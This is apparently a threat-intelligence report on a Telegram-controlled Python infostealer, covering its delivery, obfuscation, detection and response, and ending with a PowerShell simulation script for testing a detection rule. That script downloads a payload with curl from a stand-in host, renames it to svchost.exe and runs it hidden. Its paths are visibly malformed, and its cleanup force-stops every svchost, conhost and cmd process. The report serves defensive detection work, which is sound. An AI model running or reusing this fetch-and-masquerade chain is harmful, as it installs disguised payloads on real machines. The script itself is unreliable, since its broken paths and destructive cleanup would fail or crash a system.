When Malware Authors Troll Security Researchers

Summary

A Vietnam-attributed information stealer written in Python relies on Telegram as its command-and-control channel. Delivery is achieved through DLL sideloading of a legitimate Adobe binary, followed by persistence via a scheduled task crafted to resemble a Microsoft Edge update. The malware applies a four-layer Base85–Bzip2–Zlib–Marshal obfuscation chain and inflates the payload with millions of profanity strings designed to overwhelm or crash analysis tooling. Once executed, the final stage harvests browser credentials and cryptocurrency wallet data, then exfiltrates the collected information over Telegram.

Investigation

The investigation started from a CrowdStrike alert that captured a process tree in which cmd.exe launched curl to download a WinRAR archive disguised as legitimate content. Analysts decoded the Base85 blob, peeled back the layered compression and Marshal stages, and identified a dead-drop resolver that retrieves C2 URLs from a public Telegram channel. The team extracted embedded configuration strings, documented scheduled-task characteristics, and reconstructed the full command line used to start the malicious Python runtime. Telegram bot tokens and Telegram channel administrator handles were recovered, reinforcing attribution to a Vietnamese threat actor.

Mitigation

Monitor for DLL sideloading patterns involving urlmon.dll, suspicious scheduled tasks named MicrosoftEdgeUpdateTaskMachine with a start date set to 1999, and Python activity masquerading under the svchost.exe process name. Block outbound TLS connections to api.telegram.org and t.me for non-browser processes, and apply strict execution governance for curl and WinRAR utilities. Implement file integrity monitoring for ADNotificationManager.exe and validate signatures for Adobe components to detect tampering or abuse.

Response

Upon detection, isolate the impacted endpoint, preserve the full process tree and command-line arguments, and capture the Telegram bot token and channel IDs for threat-intelligence enrichment. Perform forensic imaging, compute hashes for all dropped files, and submit relevant artifacts to a sandbox for behavior confirmation. Disable the scheduled task, remove the malicious DLL and the bundled Python runtime, and rotate all potentially exposed credentials as well as any affected cryptocurrency wallet keys.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:

  1. Initial Drop: The attacker uses a compromised PowerShell session to launch cmd.exe which, in turn, runs curl.exe to download a malicious payload (payload.exe) from a remote C2 server.
  2. Masquerading Execution: The downloaded payload.exe is renamed to svchost.exe and placed in the user’s %AppData% directory. Explorer (user interaction) launches the file, creating a parent‑child relationship (explorer.exe → payload.exe). The payload’s command line contains the string cmd.exe curl to retain the original download command for later correlation.
  3. Headless Service Launch: The malicious executable spawns conhost.exe with arguments --headless -- svchost.exe to run the renamed service silently, establishing persistence and enabling further C2 traffic.

• Regression Test Script: The following PowerShell script reproduces the full chain on a test machine. Run as an administrator on a Windows host with Sysmon enabled.

  # -------------------------------------------------
  # Simulation Script – Triggers the Sigma rule
  # -------------------------------------------------
  $tmpDir = "$env:TEMPsim"
  New-Item -ItemType Directory -Path $tmpDir -Force | Out-Null
  
  # 1️⃣  cmd.exe → curl.exe (download payload)
  $payloadUrl = "http://example.com/payload.exe"
  $payloadPath = "$tmpDirpayload.exe"
  cmd.exe /c "curl.exe -o `"$payloadPath`" `"$payloadUrl`""
  
  # 2️⃣  Rename to svchost.exe and launch via explorer
  $svchostPath = "$tmpDirsvchost.exe"
  Rename-Item -Path $payloadPath -NewName "svchost.exe" -Force
  Start-Process -FilePath "explorer.exe" -ArgumentList "`"$svchostPath`" cmd.exe curl" -WindowStyle Hidden
  
  # 3️⃣  conhost.exe runs svchost.exe headlessly
  Start-Process -FilePath "conhost.exe" -ArgumentList "--headless -- svchost.exe" -WindowStyle Hidden
  
  Write-Host "Simulation complete – check SIEM for alert."

• Cleanup Commands: Execute the following to remove artifacts and terminate lingering processes.

  # Cleanup script
  Get-Process -Name "svchost","conhost","cmd","curl" -ErrorAction SilentlyContinue | Stop-Process -Force
  Remove-Item -Recurse -Force "$env:TEMPsim"
  Write-Host "Cleanup finished."